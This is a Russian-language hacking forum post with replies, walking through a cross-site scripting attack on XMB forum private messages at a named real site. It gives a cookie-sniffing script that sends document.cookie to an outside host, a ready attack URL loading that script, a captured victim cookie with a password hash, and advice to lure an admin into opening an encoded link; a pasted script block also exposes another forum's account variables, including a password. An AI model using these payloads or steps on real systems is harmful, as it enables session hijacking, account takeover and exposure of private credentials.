Привет я XgLuir

Сейчас я покажу XSS в форумах XMB

идем на форум а потом в отправку личных сообщений

http://www.karakelle.ru/forum/u2u.php?action=send - тут форма для отпраки!

Дыра находиться в форме для получателей из-за плохой фильтрации

Как видите пашет внедрим снифир

Для этого создадим js файл с кодом для сниффера

img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;

он у меня уже есть

http://www.fath.jino-net.ru/hack.js

Внедрим

REFERER=http://www.karakelle.ru/forum/u2u.php?action=send&username=<script>alert('xss')</script><script%20src=http://www.fath.jino-net.ru/hack.js></script>
QUERY=xmblva=1131740719; xmbuser=Зайка; xmbpw=202cb962ac59075b964b07152d234b70; xmblvb=1131737548
AGENT=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)



Ну вот получили
xmbpw=202cb962ac59075b964b07152d234b70 - md5 hash

Но наверно появился вапрос а как у админы стырить ?

Отправляем админу сформированый линк он открывает и снифф записывает кукисы

http://www.karakelle.ru/forum/u2u.php?action=send&username=<script%20src=http://www.fath.jino-net.ru/hack.js></script>

Но лучше ссылку за кодировать

Вот и все

На fastbb багу уже прикрыли.

Баг сам нашел?? вроде wj че-та находил да?

Задолго до wj енти и другие баги нашёл Zadohlik. Просто человек скромный и не страдает манией величия. А ентот wj взял и всё обосрал - даже упаковать не смог красиво.

<script language='JavaScript'>
var avr = new Array ('');
var zv = new Array ('admin','администратор');

var raz = new Array ();
var users = new Array ('whitejordan','');
var chknam = new Array ('whitejordan','');
var forum='whitejordan';
var filenumber='00000001';
var prof='whitejordan';
var adresat='1132430110';
var msgid='000';
var work='1';
var pass='123';
var nick='whitejordan';
var cls='';
var reklama='';
var modraz='';
var ip='69.25.60.210';
var razdel='0';
var lasttime='1132249495';
var noprintrazdel='';
var only_new_re=0;
var start_page_re=0;
var start=0;
var guest=0;
var count=4;
var leto=0;
var group=4;
var timezone=10800;
var type=2;
var form_new_off=0;
var form_re_off=0;
var avr_off=0;
var servertime=1132430115;
var rang=4;
var re_on_page=20;
var tem_on_page=20;
var gb=0;
var graf_but_off=0;
var gde_form=1;
var pod_otvet=1;
var gr_edit=1;
var gr_bui=0;
var gr_mat=0;
var gr_sm=0;
var gr_gif=0;
var gr_avr_send=1;
var protektion=1;
</script>